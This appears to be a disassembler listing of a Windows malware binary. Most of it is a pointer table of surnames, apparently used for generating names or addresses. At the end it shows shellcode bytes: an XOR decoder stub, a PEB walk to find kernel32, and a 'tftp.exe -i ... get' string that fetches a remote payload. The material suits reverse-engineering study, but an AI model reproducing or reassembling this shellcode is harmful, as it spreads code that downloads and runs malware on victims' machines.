		dd offset aHackshaw	; "Hackshaw"
		dd offset aHaley	; "Haley"
		dd offset aHalkias	; "Halkias"
		dd offset aHallowell	; "Hallowell"
		dd offset aHalpert	; "Halpert"
		dd offset aHambarzumjan	; "Hambarzumjan"
		dd offset aHamer	; "Hamer"
		dd offset aHammerness	; "Hammerness"
		dd offset aHand		; "Hand"
		dd offset aHanssen	; "Hanssen"
		dd offset aHarding	; "Harding"
		dd offset aHargraves	; "Hargraves"
		dd offset aHarlow	; "Harlow"
		dd offset aHarrigan	; "Harrigan"
		dd offset aHartman	; "Hartman"
		dd offset aHartmann	; "Hartmann"
		dd offset aHartnett	; "Hartnett"
		dd offset aHarwell	; "Harwell"
		dd offset aHaviaras	; "Haviaras"
		dd offset aHawkes	; "Hawkes"
		dd offset aHayes	; "Hayes"
		dd offset aHaynes	; "Haynes"
		dd offset aHazlewood	; "Hazlewood"
		dd offset aHeermans	; "Heermans"
		dd offset aHeft		; "Heft"
		dd offset aHeiland	; "Heiland"
		dd offset aHellman	; "Hellman"
		dd offset aHellmiss	; "Hellmiss"
		dd offset aHelprin	; "Helprin"
		dd offset aHemphill	; "Hemphill"
		dd offset aHenery	; "Henery"
		dd offset aHenrichs	; "Henrichs"
		dd offset aHernandez	; "Hernandez"
		dd offset aHerrera	; "Herrera"
		dd offset aHester	; "Hester"
		dd offset aHeubert	; "Heubert"
		dd offset aHeyeck	; "Heyeck"
		dd offset aHimmelfarb	; "Himmelfarb"
		dd offset aHind		; "Hind"
		dd offset aHirst	; "Hirst"
		dd offset aHitchcock	; "Hitchcock"
		dd offset aHoang	; "Hoang"
		dd offset aHock		; "Hock"
		dd offset aHoffer	; "Hoffer"
		dd offset aHoffman	; "Hoffman"
		dd offset aHokanson	; "Hokanson"
		dd offset aHokoda	; "Hokoda"
		dd offset aHolmes	; "Holmes"
		dd offset aHoloien	; "Holoien"
		dd offset aHolter	; "Holter"
		dd offset aHolway	; "Holway"
		dd offset aHolzman	; "Holzman"
		dd offset aHooker	; "Hooker"
		dd offset aHopkins	; "Hopkins"
		dd offset aHorsley	; "Horsley"
		dd offset aHoshida	; "Hoshida"
		dd offset aHostage	; "Hostage"
		dd offset aHottle	; "Hottle"
		dd offset aHoward	; "Howard"
		dd offset aHoy		; "Hoy"
		dd offset aHuey		; "Huey"
		dd offset aHuidekoper	; "Huidekoper"
		dd offset aHungerford	; "Hungerford"
		dd offset aHuntington	; "Huntington"
		dd offset aHupp		; "Hupp"
		dd offset aHurtubise	; "Hurtubise"
		dd offset aHutchings	; "Hutchings"
		dd offset aHyde		; "Hyde"
		dd offset aIaquinta	; "Iaquinta"
		dd offset aIchikawa	; "Ichikawa"
		dd offset aIgarashi	; "Igarashi"
		dd offset aInamura	; "Inamura"
		dd offset aInniss	; "Inniss"
		dd offset aIsaac	; "Isaac"
		dd offset aIsaievych	; "Isaievych"
		dd offset aIsbill	; "Isbill"
		dd offset aIsserman	; "Isserman"
		dd offset aIyer		; "Iyer"
		dd offset aJacenko	; "Jacenko"
		dd offset aJackson	; "Jackson"
		dd offset aJagers	; "Jagers"
		dd offset aJagger	; "Jagger"
		dd offset aJagoe	; "Jagoe"
		dd offset aJain		; "Jain"
		dd offset aJamil	; "Jamil"
		dd offset aJanjigian	; "Janjigian"
		dd offset aJarnagin	; "Jarnagin"
		dd offset aJarrell	; "Jarrell"
		dd offset aJay		; "Jay"
		dd offset aJeffers	; "Jeffers"
		dd offset aJellis	; "Jellis"
		dd offset aJenkins	; "Jenkins"
		dd offset aJespersen	; "Jespersen"
		dd offset aJewett	; "Jewett"
		dd offset aJohannesson	; "Johannesson"
		dd offset aJohannsen	; "Johannsen"
		dd offset aJohns	; "Johns"
		dd offset aJolly	; "Jolly"
		dd offset aJorgensen	; "Jorgensen"
		dd offset aJucks	; "Jucks"
		dd offset aJuliano	; "Juliano"
		dd offset aJulious	; "Julious"
		dd offset aKabbash	; "Kabbash"
		dd offset aKaboolian	; "Kaboolian"
		dd offset aKafadar	; "Kafadar"
		dd offset aKalbfleisch	; "Kalbfleisch"
		dd offset aKaligian	; "Kaligian"
		dd offset aKalil	; "Kalil"
		dd offset aKalinowski	; "Kalinowski"
		dd offset aKalman	; "Kalman"
		dd offset aKamel	; "Kamel"
		dd offset aKangis	; "Kangis"
		dd offset aKarpouzes	; "Karpouzes"
		dd offset aKassower	; "Kassower"
		dd offset aKasten	; "Kasten"
		dd offset aKawachi	; "Kawachi"
		dd offset aKee		; "Kee"
		dd offset aKeenan	; "Keenan"
		dd offset aKeepper	; "Keepper"
		dd offset aKeith	; "Keith"
		dd offset aKelker	; "Kelker"
		dd offset aKelsey	; "Kelsey"
		dd offset aKempton	; "Kempton"
		dd offset aKemsley	; "Kemsley"
		dd offset aKendall	; "Kendall"
		dd offset aKerry	; "Kerry"
		dd offset aKeul		; "Keul"
		dd offset aKhong	; "Khong"
		dd offset aKimmel	; "Kimmel"
		dd offset aKimmett	; "Kimmett"
		dd offset aKimura	; "Kimura"
		dd offset aKindall	; "Kindall"
		dd offset aKinsley	; "Kinsley"
		dd offset aKippenberger	; "Kippenberger"
		dd offset aKirscht	; "Kirscht"
		dd offset aKittridge	; "Kittridge"
		dd offset aKleckner	; "Kleckner"
		dd offset aKleiman	; "Kleiman"
		dd offset aKleinfelder	; "Kleinfelder"
		dd offset aKlemperer	; "Klemperer"
		dd offset aKling	; "Kling"
		dd offset aKlinkenborg	; "Klinkenborg"
		dd offset aKlint	; "Klint"
		dd offset aKnuff	; "Knuff"
		dd offset aKobrick	; "Kobrick"
		dd offset aKoch		; "Koch"
		dd offset aKohn		; "Kohn"
		dd offset aKoivumaki	; "Koivumaki"
		dd offset aKommer	; "Kommer"
		dd offset aKoniaris	; "Koniaris"
		dd offset aKonrad	; "Konrad"
		dd offset aKool		; "Kool"
		dd offset aKorzybski	; "Korzybski"
		dd offset aKotter	; "Kotter"
		dd offset aKovaks	; "Kovaks"
		dd offset aKraemer	; "Kraemer"
		dd offset aKrailo	; "Krailo"
		dd offset aKrasney	; "Krasney"
		dd offset aKraus	; "Kraus"
		dd offset aKroemer	; "Kroemer"
		dd offset aKrysiak	; "Krysiak"
		dd offset aKuenzli	; "Kuenzli"
		dd offset aKumar	; "Kumar"
		dd offset aKusman	; "Kusman"
		dd offset aKuwabara	; "Kuwabara"
		dd offset aLa		; "La"
		dd offset aLabunka	; "Labunka"
		dd offset aLafler	; "Lafler"
		dd offset aLaing	; "Laing"
		dd offset aLallemant	; "Lallemant"
		dd offset aLandes	; "Landes"
		dd offset aLankes	; "Lankes"
		dd offset aLantieri	; "Lantieri"
		dd offset aLanzit	; "Lanzit"
		dd offset aLaserna	; "Laserna"
		dd offset aLashley	; "Lashley"
		dd offset aLawless	; "Lawless"
		dd offset aLecar	; "Lecar"
		dd offset aLecce	; "Lecce"
		dd offset aLeclercq	; "Leclercq"
		dd offset aLeite	; "Leite"
		dd offset aLenard	; "Lenard"
		dd offset aLEnclos	; "l'Enclos"
		dd offset aLesser	; "Lesser"
		dd offset aLessi	; "Lessi"
		dd offset aLiakos	; "Liakos"
		dd offset aLidano	; "Lidano"
		dd offset aLiem		; "Liem"
		dd offset aLight	; "Light"
		dd offset aLightfoot	; "Lightfoot"
		dd offset aLim		; "Lim"
		dd offset aLinares	; "Linares"
		dd offset aLinda	; "Linda"
		dd offset aLinder	; "Linder"
		dd offset aLine		; "Line"
		dd offset aLinehan	; "Linehan"
		dd offset aLinzee	; "Linzee"
		dd offset aLippmann	; "Lippmann"
		dd offset aLipponen	; "Lipponen"
		dd offset aLittle	; "Little"
		dd offset aLitvak	; "Litvak"
		dd offset aLivernash	; "Livernash"
		dd offset aLivi		; "Livi"
		dd offset aLivolsi	; "Livolsi"
		dd offset aLizardo	; "Lizardo"
		dd offset aLocatelli	; "Locatelli"
		dd offset aLongworth	; "Longworth"
		dd offset aLoss		; "Loss"
		dd offset aLoveman	; "Loveman"
		dd offset aLowenstein	; "Lowenstein"
		dd offset aLoza		; "Loza"
		dd offset aLubin	; "Lubin"
		dd offset aLucas	; "Lucas"
		dd offset aLuciano	; "Luciano"
		dd offset aLuczkow	; "Luczkow"
		dd offset aLuecke	; "Luecke"
		dd offset aLunetta	; "Lunetta"
		dd offset aLuoma	; "Luoma"
		dd offset aLussier	; "Lussier"
		dd offset aLutcavage	; "Lutcavage"
		dd offset aLuzader	; "Luzader"
		dd offset aMa		; "Ma"
		dd offset aMaccormac	; "Maccormac"
		dd offset aMacdonald	; "Macdonald"
		dd offset aMaceachern	; "Maceachern"
		dd offset aMacintyre	; "Macintyre"
		dd offset aMackenney	; "Mackenney"
		dd offset aMacmillan	; "MacMillan"
		dd offset aMacy		; "Macy"
		dd offset aMadigan	; "Madigan"
		dd offset aMaggio	; "Maggio"
		dd offset aMahony	; "Mahony"
		dd offset aMaier	; "Maier"
		dd offset aMaineHershey	; "Maine-Hershey"
		dd offset aMaisano	; "Maisano"
		dd offset aMalatesta	; "Malatesta"
		dd offset aMaller	; "Maller"
		dd offset aMalova	; "Malova"
		dd offset aManalis	; "Manalis"
		dd offset aMandel	; "Mandel"
		dd offset aManganiello	; "Manganiello"
		dd offset aMantovan	; "Mantovan"
		dd offset aMarch	; "March"
		dd offset aMarchbanks	; "Marchbanks"
		dd offset aMarcus	; "Marcus"
		dd offset aMargalit	; "Margalit"
		dd offset aMargetts	; "Margetts"
		dd offset aMarques	; "Marques"
		dd offset aMartinez	; "Martinez"
		dd offset aMartochio	; "Martochio"
		dd offset aMarton	; "Marton"
		dd offset aMarubini	; "Marubini"
		dd offset aMass		; "Mass"
		dd offset aMatalka	; "Matalka"
		dd offset aMatarazzo	; "Matarazzo"
		dd offset aMatsukata	; "Matsukata"
		dd offset aMattson	; "Mattson"
		dd offset aMauzy	; "Mauzy"
		dd offset aMay		; "May"
		dd offset aMazzali	; "Mazzali"
		dd offset aMazziotta	; "Mazziotta"
		dd offset aMcbride	; "Mcbride"
		dd offset aMccaffery	; "Mccaffery"
		dd offset aMccall	; "Mccall"
		dd offset aMcclearn	; "Mcclearn"
		dd offset aMcdowell	; "Mcdowell"
		dd offset aMcelroy	; "Mcelroy"
		dd offset aMcfadden	; "McFadden"
		dd offset aMcghee	; "Mcghee"
		dd offset aMcgoldrick	; "Mcgoldrick"
		dd offset aMcilroy	; "McIlroy"
		dd offset aMcintosh	; "Mcintosh"
		dd offset aMckenna	; "Mckenna"
		dd offset aMclane	; "Mclane"
		dd offset aMclaren	; "Mclaren"
		dd offset aMcnealy	; "Mcnealy"
		dd offset aMcnulty	; "Mcnulty"
		dd offset aMeccariello	; "Meccariello"
		dd offset aMemisoglu	; "Memisoglu"
		dd offset aMenzies	; "Menzies"
		dd offset aMerikoski	; "Merikoski"
		dd offset aMerlani	; "Merlani"
		dd offset aMerminod	; "Merminod"
		dd offset aMerseth	; "Merseth"
		dd offset aMerz		; "Merz"
		dd offset aMetelka	; "Metelka"
		dd offset aMetropolis	; "Metropolis"
		dd offset aMeurer	; "Meurer"
		dd offset aMichelman	; "Michelman"
		dd offset aMiddle	; "Middle"
		dd offset aMieher	; "Mieher"
		dd offset aMills	; "Mills"
		dd offset aMinh		; "Minh"
		dd offset aMini		; "Mini"
		dd offset aMinichiello	; "Minichiello"
		dd offset aGonzalez	; "Gonzalez"
		dd offset aMitropoulos	; "Mitropoulos"
		dd offset aMittal	; "Mittal"
		dd offset aMocroft	; "Mocroft"
		dd offset aModestino	; "Modestino"
		dd offset aMoeller	; "Moeller"
		dd offset aMohr		; "Mohr"
		dd offset aMoiamedi	; "Moiamedi"
		dd offset aMonque	; "Monque"
		dd offset aMontilio	; "Montilio"
		dd offset aMooredech_	; "MooreDeCh."
		dd offset aMorani	; "Morani"
		dd offset aMoreton	; "Moreton"
		dd offset aMorrison	; "Morrison"
		dd offset aMorrow	; "Morrow"
		dd offset aMortimer	; "Mortimer"
		dd offset aMosher	; "Mosher"
		dd offset aMosler	; "Mosler"
		dd offset aMostafavi	; "Mostafavi"
		dd offset aMotooka	; "Motooka"
		dd offset aMudarri	; "Mudarri"
		dd offset aMuello	; "Muello"
		dd offset aMugnai	; "Mugnai"
		dd offset aMulkern	; "Mulkern"
		dd offset aMulroy	; "Mulroy"
		dd offset aMumford	; "Mumford"
		dd offset aMussachio	; "Mussachio"
		dd offset aNaddeo	; "Naddeo"
		dd offset aNapolitano	; "Napolitano"
		dd offset aNardi	; "Nardi"
		dd offset aNardone	; "Nardone"
		dd offset aNaviaux	; "Naviaux"
		dd offset aNayduch	; "Nayduch"
		dd offset aNelson	; "Nelson"
		dd offset aNenna	; "Nenna"
		dd offset aNesci	; "Nesci"
		dd offset aNeuman	; "Neuman"
		dd offset aNewfeld	; "Newfeld"
		dd offset aNewlin	; "Newlin"
		dd offset aNg		; "Ng"
		dd offset aNi_0		; "Ni"
		dd offset aNickerson	; "Nickerson"
		dd offset aNickoloff	; "Nickoloff"
		dd offset aNisenson	; "Nisenson"
		dd offset aNitabach	; "Nitabach"
		dd offset aNotman	; "Notman"
		dd offset aNuzum	; "Nuzum"
		dd offset aOcougne	; "Ocougne"
		dd offset aOgata	; "Ogata"
		dd offset aOh		; "Oh"
		dd offset aOHagan	; "O'hagan"
		dd offset aOldford	; "Oldford"
		dd offset aOlsen	; "Olsen"
		dd offset aOlson	; "Olson"
		dd offset aOlszewski	; "Olszewski"
		dd offset aOMalley	; "O'malley"
		dd offset aOman		; "Oman"
		dd offset aOMeara	; "O'meara"
		dd offset aOpel		; "Opel"
		dd offset aOray		; "Oray"
		dd offset aOrfield	; "Orfield"
		dd offset aOrsi		; "Orsi"
		dd offset aOspina	; "Ospina"
		dd offset aOstrowski	; "Ostrowski"
		dd offset aOttaviani	; "Ottaviani"
		dd offset aOtten	; "Otten"
		dd offset aOuchida	; "Ouchida"
		dd offset aOvid		; "Ovid"
		dd offset aPaesdealmeida ; "PaesDealmeida"
		dd offset aPaine	; "Paine"
		dd offset aPalayoor	; "Palayoor"
		dd offset aPalepu	; "Palepu"
		dd offset aPallara	; "Pallara"
		dd offset aPalmitesta	; "Palmitesta"
		dd offset aPanadero	; "Panadero"
		dd offset aPanizzon	; "Panizzon"
		dd offset aPantilla	; "Pantilla"
		dd offset aPaoletti	; "Paoletti"
		dd offset aParmeggiani	; "Parmeggiani"
		dd offset aParris	; "Parris"
		dd offset aPartridge	; "Partridge"
		dd offset aPascucci	; "Pascucci"
		dd offset aPatefield	; "Patefield"
		dd offset aPatrick	; "Patrick"
		dd offset aPattullo	; "Pattullo"
		dd offset aPavetti	; "Pavetti"
		dd offset aPavlon	; "Pavlon"
		dd offset aPawloski	; "Pawloski"
		dd offset aPaynter	; "Paynter"
		dd offset aPeabody	; "Peabody"
		dd offset aPearlberg	; "Pearlberg"
		dd offset aPederson	; "Pederson"
		dd offset aPeishel	; "Peishel"
		dd offset aPenny	; "Penny"
		dd offset aPereira	; "Pereira"
		dd offset aPerko	; "Perko"
		dd offset aPerlak	; "Perlak"
		dd offset aPerlman	; "Perlman"
		dd offset aPerna	; "Perna"
		dd offset aPerone	; "Perone"
		dd offset aPerrimon	; "Perrimon"
		dd offset aPeters	; "Peters"
		dd offset aPetruzello	; "Petruzello"
		dd offset aPettibone	; "Pettibone"
		dd offset aPettit	; "Pettit"
		dd offset aPfister	; "Pfister"
		dd offset aPilbeam	; "Pilbeam"
		dd offset aPinot	; "Pinot"
		dd offset aPlancon	; "Plancon"
		dd offset aPlant	; "Plant"
		dd offset aPlasket	; "Plasket"
		dd offset aPlous	; "Plous"
		dd offset aPo		; "Po"
		dd offset aPocobene	; "Pocobene"
		dd offset aPoincaire	; "Poincaire"
		dd offset aPointer	; "Pointer"
		dd offset aPoirier	; "Poirier"
		dd offset aPolak	; "Polak"
		dd offset aPolanyi	; "Polanyi"
		dd offset aPolitis	; "Politis"
		dd offset aPoma		; "Poma"
		dd offset aPoolman	; "Poolman"
		dd offset aPowers	; "Powers"
		dd offset aPresper	; "Presper"
		dd offset aPreucel	; "Preucel"
		dd offset aPrevost	; "Prevost"
		dd offset aPritchard	; "Pritchard"
		dd offset aPritz	; "Pritz"
		dd offset aProietti	; "Proietti"
		dd offset aProthrowStith ; "Prothrow-Stith"
		dd offset aPuccia	; "Puccia"
		dd offset aPugh		; "Pugh"
		dd offset aPynchon	; "Pynchon"
		dd offset aQuaday	; "Quaday"
		dd offset aQuetin	; "Quetin"
		dd offset aRabe		; "Rabe"
		dd offset aRabkin	; "Rabkin"
		dd offset aRadeke	; "Radeke"
		dd offset aRajagopalan	; "Rajagopalan"
		dd offset aRaney	; "Raney"
		dd offset aRangan	; "Rangan"
		dd offset aRankin	; "Rankin"
		dd offset aRapple	; "Rapple"
		dd offset aRayport	; "Rayport"
		dd offset aReddenTyler	; "Redden-Tyler"
		dd offset aReedquist	; "Reedquist"
		dd offset aCunningham	; "Cunningham"
		dd offset aReinold	; "Reinold"
		dd offset aRemak	; "Remak"
		dd offset aRenick	; "Renick"
		dd offset aRepetto	; "Repetto"
		dd offset aResnik	; "Resnik"
		dd offset aRhea		; "Rhea"
		dd offset aRichmond	; "Richmond"
		dd offset aRielly	; "Rielly"
		dd offset aRindos	; "Rindos"
		dd offset aRineer	; "Rineer"
		dd offset aRish		; "Rish"
		dd offset aRivera	; "Rivera"
		dd offset aRobinson	; "Robinson"
		dd offset aRocha	; "Rocha"
		dd offset aRoesler	; "Roesler"
		dd offset aRogers	; "Rogers"
		dd offset aRonen	; "Ronen"
		dd offset aRow		; "Row"
		dd offset aRoyal	; "Royal"
		dd offset aRu		; "Ru"
		dd offset aRuan		; "Ruan"
		dd offset aRuderman	; "Ruderman"
		dd offset aRuescher	; "Ruescher"
		dd offset aRush		; "Rush"
		dd offset aRyu		; "Ryu"
		dd offset aSabatello	; "Sabatello"
		dd offset aSadler	; "Sadler"
		dd offset aSafire	; "Safire"
		dd offset aSahu		; "Sahu"
		dd offset aSali		; "Sali"
		dd offset aSamson	; "Samson"
		dd offset aSanchezRamirez ; "Sanchez-Ramirez"
		dd offset aSanna	; "Sanna"
		dd offset aSapers	; "Sapers"
		dd offset aSarin	; "Sarin"
		dd offset aSartore	; "Sartore"
		dd offset aSase		; "Sase"
		dd offset aSatin	; "Satin"
		dd offset aSatta	; "Satta"
		dd offset aSatterthwaite ; "Satterthwaite"
		dd offset aSawtell	; "Sawtell"
		dd offset aSayied	; "Sayied"
		dd offset aScarponi	; "Scarponi"
		dd offset aScepan	; "Scepan"
		dd offset aScharf	; "Scharf"
		dd offset aScharlemann	; "Scharlemann"
		dd offset aScheiner	; "Scheiner"
		dd offset aSchiano	; "Schiano"
		dd offset aSchifini	; "Schifini"
		dd offset aSchilling	; "Schilling"
		dd offset aSchmitt	; "Schmitt"
		dd offset aSchossberger	; "Schossberger"
		dd offset aSchuman	; "Schuman"
		dd offset aSchutte	; "Schutte"
		dd offset aSchuyler	; "Schuyler"
		dd offset aSchwan	; "Schwan"
		dd offset aSchwickrath	; "Schwickrath"
		dd offset aScovel	; "Scovel"
		dd offset aScudder	; "Scudder"
		dd offset aSeaton	; "Seaton"
		dd offset aSeeber	; "Seeber"
		dd offset aSegal	; "Segal"
		dd offset aSekler	; "Sekler"
		dd offset aSelvage	; "Selvage"
		dd offset aSen		; "Sen"
		dd offset aSennett	; "Sennett"
		dd offset aSeterdahl	; "Seterdahl"
		dd offset aSexton	; "Sexton"
		dd offset aSeyfert	; "Seyfert"
		dd offset aShaikh	; "Shaikh"
		dd offset aShakis	; "Shakis"
		dd offset aShankland	; "Shankland"
		dd offset aShanley	; "Shanley"
		dd offset aShar		; "Shar"
		dd offset aShatrov	; "Shatrov"
		dd offset aShavelson	; "Shavelson"
		dd offset aShea		; "Shea"
		dd offset aSheats	; "Sheats"
		dd offset aShepherd	; "Shepherd"
		dd offset aSheppard	; "Sheppard"
		dd offset aShepstone	; "Shepstone"
		dd offset aShesko	; "Shesko"
		dd offset aShia		; "Shia"
		dd offset aShibata	; "Shibata"
		dd offset aShimon	; "Shimon"
		dd offset aSiesto	; "Siesto"
		dd offset aSigalot	; "Sigalot"
		dd offset aSigini	; "Sigini"
		dd offset aSigna	; "Signa"
		dd offset aSilverman	; "Silverman"
		dd offset aSilvetti	; "Silvetti"
		dd offset aSinsabaugh	; "Sinsabaugh"
		dd offset aSirilli	; "Sirilli"
		dd offset aSites	; "Sites"
		dd offset aSkane	; "Skane"
		dd offset aSkerry	; "Skerry"
		dd offset aSkoda	; "Skoda"
		dd offset aSloan	; "Sloan"
		dd offset aSlowe	; "Slowe"
		dd offset aSmilow	; "Smilow"
		dd offset aSniffen	; "Sniffen"
		dd offset aSnodgrass	; "Snodgrass"
		dd offset aSocolow	; "Socolow"
		dd offset aSolon	; "Solon"
		dd offset aSomers	; "Somers"
		dd offset aSommariva	; "Sommariva"
		dd offset aSorabella	; "Sorabella"
		dd offset aSorg		; "Sorg"
		dd offset aSottak	; "Sottak"
		dd offset aSoukup	; "Soukup"
		dd offset aSoule	; "Soule"
		dd offset aSoultanian	; "Soultanian"
		dd offset aSpanier	; "Spanier"
		dd offset aSparrow	; "Sparrow"
		dd offset aSpaulding	; "Spaulding"
		dd offset aSpeizer	; "Speizer"
		dd offset aSpence	; "Spence"
		dd offset aSperber	; "Sperber"
		dd offset aSpicer	; "Spicer"
		dd offset aSpiegelhalter ; "Spiegelhalter"
		dd offset aSpiliotis	; "Spiliotis"
		dd offset aSpinrad	; "Spinrad"
		dd offset aStmartin	; "StMartin"
		dd offset aStalvey	; "Stalvey"
		dd offset aStam		; "Stam"
		dd offset aStang	; "Stang"
		dd offset aStassinopolus ; "Stassinopolus"
		dd offset aStates	; "States"
		dd offset aStatlender	; "Statlender"
		dd offset aStefani	; "Stefani"
		dd offset aSteiner	; "Steiner"
		dd offset aStephanian	; "Stephanian"
		dd offset aStepniewska	; "Stepniewska"
		dd offset aStewartOaten	; "Stewart-Oaten"
		dd offset aStiepock	; "Stiepock"
		dd offset aStillwell	; "Stillwell"
		dd offset aStock	; "Stock"
		dd offset aStockton	; "Stockton"
		dd offset aStockwell	; "Stockwell"
		dd offset aStolzenberg	; "Stolzenberg"
		dd offset aStonich	; "Stonich"
		dd offset aStorer	; "Storer"
		dd offset aStott	; "Stott"
		dd offset aStrange	; "Strange"
		dd offset aStrauch	; "Strauch"
		dd offset aStreiff	; "Streiff"
		dd offset aStringer	; "Stringer"
		dd offset aSullivan	; "Sullivan"
		dd offset aSumner	; "Sumner"
		dd offset aSuo		; "Suo"
		dd offset aSurdam	; "Surdam"
		dd offset aSweeting	; "Sweeting"
		dd offset aSweetser	; "Sweetser"
		dd offset aSwindle	; "Swindle"
		dd offset aTagiuri	; "Tagiuri"
		dd offset aTai		; "Tai"
		dd offset aTalaugon	; "Talaugon"
		dd offset aTambiah	; "Tambiah"
		dd offset aTandler	; "Tandler"
		dd offset aTanowitz	; "Tanowitz"
		dd offset aTatar	; "Tatar"
		dd offset aTaveras	; "Taveras"
		dd offset aTawn		; "Tawn"
		dd offset aTcherepnin	; "Tcherepnin"
		dd offset aTeague	; "Teague"
		dd offset aTemes	; "Temes"
		dd offset aTemmer	; "Temmer"
		dd offset aTenney	; "Tenney"
		dd offset aTerracini	; "Terracini"
		dd offset aThan		; "Than"
		dd offset aThavaneswaran ; "Thavaneswaran"
		dd offset aTheodos	; "Theodos"
		dd offset aThibault	; "Thibault"
		dd offset aThisted	; "Thisted"
		dd offset aThomsen	; "Thomsen"
		dd offset aThroop	; "Throop"
		dd offset aTierney	; "Tierney"
		dd offset aTill		; "Till"
		dd offset aTimmons	; "Timmons"
		dd offset aTofallis	; "Tofallis"
		dd offset aTollestrup	; "Tollestrup"
		dd offset aTolls	; "Tolls"
		dd offset aTolman	; "Tolman"
		dd offset aTomford	; "Tomford"
		dd offset aToomer	; "Toomer"
		dd offset aTopulos	; "Topulos"
		dd offset aTorresi	; "Torresi"
		dd offset aTorske	; "Torske"
		dd offset aTowler	; "Towler"
		dd offset aToye		; "Toye"
		dd offset aTraebert	; "Traebert"
		dd offset aTrenga	; "Trenga"
		dd offset aTrewin	; "Trewin"
		dd offset aTringali	; "Tringali"
		dd offset aTroiani	; "Troiani"
		dd offset aTroy		; "Troy"
		dd offset aTruss	; "Truss"
		dd offset aTsiatis	; "Tsiatis"
		dd offset aTsomides	; "Tsomides"
		dd offset aTsukurov	; "Tsukurov"
		dd offset aTuck		; "Tuck"
		dd offset aTudge	; "Tudge"
		dd offset aTukan	; "Tukan"
		dd offset aTurano	; "Turano"
		dd offset aTurek	; "Turek"
		dd offset aTuttle	; "Tuttle"
		dd offset aTwells	; "Twells"
		dd offset aTzamarias	; "Tzamarias"
		dd offset aUllman	; "Ullman"
		dd offset aUntermeyer	; "Untermeyer"
		dd offset aUpsdell	; "Upsdell"
		dd offset aUrban	; "Urban"
		dd offset aUrdangBrown	; "Urdang-Brown"
		dd offset aUsdan	; "Usdan"
		dd offset aUzuner	; "Uzuner"
		dd offset aVacca	; "Vacca"
		dd offset aWaite	; "Waite"
		dd offset aValberg	; "Valberg"
		dd offset aValencia	; "Valencia"
		dd offset aWales	; "Wales"
		dd offset aWallenberg	; "Wallenberg"
		dd offset aWalter	; "Walter"
		dd offset aVanallen	; "vanAllen"
		dd offset aVanzwet	; "VanZwet"
		dd offset aVandenberg	; "Vandenberg"
		dd offset aVanheeckeren	; "Vanheeckeren"
		dd offset aWarshafsky	; "Warshafsky"
		dd offset aWasowska	; "Wasowska"
		dd offset aVasquez	; "Vasquez"
		dd offset aWaugh	; "Waugh"
		dd offset aWeighart	; "Weighart"
		dd offset aWeingarten	; "Weingarten"
		dd offset aWeinhaus	; "Weinhaus"
		dd offset aWeissbourd	; "Weissbourd"
		dd offset aWeissman	; "Weissman"
		dd offset aVelasquez	; "Velasquez"
		dd offset aWelles	; "Welles"
		dd offset aWelsh	; "Welsh"
		dd offset aWengret	; "Wengret"
		dd offset aVenne	; "Venne"
		dd offset aVerghese	; "Verghese"
		dd offset aWescott	; "Wescott"
		dd offset aWetzel	; "Wetzel"
		dd offset aWhately	; "Whately"
		dd offset aWhilton	; "Whilton"
		dd offset aWhite	; "White"
		dd offset aWhitla	; "Whitla"
		dd offset aWhittaker	; "Whittaker"
		dd offset aViana	; "Viana"
		dd offset aViano	; "Viano"
		dd offset aWiedersheim	; "Wiedersheim"
		dd offset aWiener	; "Wiener"
		dd offset aViens	; "Viens"
		dd offset aVignola	; "Vignola"
		dd offset aWilder	; "Wilder"
		dd offset aWilhelm	; "Wilhelm"
		dd offset aWilk		; "Wilk"
		dd offset aWilkin	; "Wilkin"
		dd offset aWilkinson	; "Wilkinson"
		dd offset aVillarreal	; "Villarreal"
		dd offset aWillstatter	; "Willstatter"
		dd offset aWilson	; "Wilson"
		dd offset aVitali	; "Vitali"
		dd offset aViviani	; "Viviani"
		dd offset aVoigt	; "Voigt"
		dd offset aWolk		; "Wolk"
		dd offset aVonhoffman	; "VonHoffman"
		dd offset aWoo		; "Woo"
		dd offset aWooden	; "Wooden"
		dd offset aWoods	; "Woods"
		dd offset aWoodsPowell	; "Woods-Powell"
		dd offset byte_430020
		dd offset aVotey	; "Votey"
		dd offset aYacono	; "Yacono"
		dd offset aYamane	; "Yamane"
		dd offset aYankee	; "Yankee"
		dd offset aYarchuk	; "Yarchuk"
		dd offset aYates	; "Yates"
		dd offset aYbarra	; "Ybarra"
		dd offset aYedidia	; "Yedidia"
		dd offset aYesson	; "Yesson"
		dd offset aYetiv	; "Yetiv"
		dd offset aYoffe	; "Yoffe"
		dd offset aYoo		; "Yoo"
		dd offset aYoukSee	; "Youk-See"
		dd offset aYu		; "Yu"
		dd offset aZachary	; "Zachary"
		dd offset aZahedi	; "Zahedi"
		dd offset aZangwill	; "Zangwill"
		dd offset aZegans	; "Zegans"
		dd offset aZerbini	; "Zerbini"
		dd offset aZoldak	; "Zoldak"
		dd offset aZucconi	; "Zucconi"
		dd offset aZurn		; "Zurn"
		dd offset aZwiers	; "Zwiers"
		dd offset aZytowski	; "Zytowski"
		align 8
dword_43D758	dd 5EB02EBh, 0FFFFF9E8h, 0C9315BFFh ; DATA XREF: sub_40AD00+BEo
		db 66h,	0B9h
word_43D766	dw 0FFFFh		; DATA XREF: sub_40AD00+C6w
		db 80h,	73h, 0Eh
byte_43D76B	db 0FFh			; DATA XREF: sub_40AD00+CDw
		dd 0F9E243h
dword_43D770	dd 5EB02EBh, 0FFFFF9E8h, 0C9315BFFh ; DATA XREF: sub_40AD00+9Co
		db 0B1h
byte_43D77D	db 0FFh			; DATA XREF: sub_40AD00+A4w
		dw 7380h
		db 0Ch
byte_43D781	db 0FFh			; DATA XREF: sub_40AD00+AAw
		dw 0E243h
		dd 0F9h
dword_43D788	dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
					; DATA XREF: sub_40AC0D+57o
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_43D7EC	dd 12h			; DATA XREF: sub_40AC0D+3Bw
		dd 70746674h, 6578652Eh, 20692D20h
aGet		db ' get ',0            ; DATA XREF: sub_40AC0D+7Co
					; sub_40AC0D+9Eo
aJ_1		db 'j',0
		db 0E8h
dword_43D805	dd 17h			; DATA XREF: sub_40AC0D+4Dw
		db 75h,	1, 0C3h
		db 0E8h
dword_43D80D	dd 1			; DATA XREF: sub_40AC0D+43w
byte_43D811	db 0, 6Ah, 0		; DATA XREF: sub_40AC0D+C0o
		dd 7E8h
		db 0, 0Fh, 84h
